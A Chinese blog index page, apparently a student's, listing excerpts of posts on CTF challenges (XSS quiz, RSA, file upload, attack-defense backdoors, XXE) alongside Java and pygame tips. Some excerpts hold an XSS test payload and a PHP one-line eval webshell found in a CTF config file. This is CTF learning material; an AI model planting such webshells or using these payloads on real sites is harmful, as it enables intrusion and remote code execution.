摘要： Stage #1: http://xss-quiz.int21h.jp/?sid=2a75ff06e0147586b7ceb0fe68ee443b86a6e7b9 Hint: very simple... 按照要求输入<script>alert(document.domain);</script> 阅读全文

摘要： 这个安装比Windows安装wamp简单，敲几行命令即可，安装LAMP为了搭建xss测试平台 首先安装Apache sudo apt-get install apache2 完成后可以通过在浏览器上输入本机ip来查询时候安装成功apache 接下来安装PHP，我用的是PHP7.0 sudo apt 阅读全文

摘要： 遇见一个RSA的题，http://ctf5.shiyanbar.com/crypto/RSA ，以前见了就跑路，今天想好好搞搞 先百度一波学习资料， RSA算法描述 RSA算法涉及三个参数，n，e，d，私钥为n，d，公钥为n，e。 其中n是两个大素数p，q的乘积。 d是e模$ varphi(n) $ 阅读全文

摘要： 当我们遇到long不行的时候就要考虑这个BinInteger了，因为这是只要你内存够大，就能输入很大的数，用这个处理高精度问题，是很容易的一件事，对于我这刚学java的萌新来说，长见识了，确实比C方便 BigInteger 任意大的整数，原则上是，只要你的计算机的内存足够大，可以有无限位的 强制类型 阅读全文

摘要： 字符串转换成数值的方法 String s="123"; int i; 第一种方法：i=Integer.parseInt(s); 第二种方法：i=Integer.valueOf(s).intValue(); 转int整数 String ss = "3.141592653"; 转double型 doub 阅读全文

摘要： 十进制转成十六进制： Integer.toHexString(int i) 十进制转成八进制 Integer.toOctalString(int i) 十进制转成二进制 Integer.toBinaryString(int i) 十六进制转成十进制 Integer.valueOf("FFFF",16 阅读全文

摘要： 一打开网址，可以看出应该是文件上传漏洞，查看源码，也有可能是文件包含 上传个图片，成功，然后上传一句话木马 通过bp进行上传绕过 ， 开始菜刀连接http://e00b6eca3c9c4e14a31cf6ce409fab9006d33f25aeda472e.game.ichunqiu.com/upl 阅读全文

摘要： 1.后门 这里第一个后门应该很好找，这个是很友好的，这里后门位于config/config.php <?php eval($_POST['cmd']); ?> 很直接明了的一句话后门，没什么好说的，前一个小时还能打打，到后面肯定大家都修了，这个不多说。 这里我的flag留在了tmp目录下，所以直接读 阅读全文

摘要： 1 、XXE 危害1.读取任意文件 2.执行系统命令 3.探查内网端口 4.攻击内网网站 2、关于XML XML是用于标记电子文件使其具有结构性的标记语言，可以用来标记数据、定义数据类型，是一种允许用户对自己的标记语言进行定义的源语言。 XML文档结构包括XML声明、DTD文档类型定义（可选）、文档 阅读全文

摘要： 正常情况下： 点file-settings-project-project interprter 点右上角的+号，搜索pygame 点击下方 install Package即可 成功 第二种，如果提示错误： 则通过找到pygame安装的文件路径来复制粘贴 找到这个文件夹 然后移到你新创建的项目相同文 阅读全文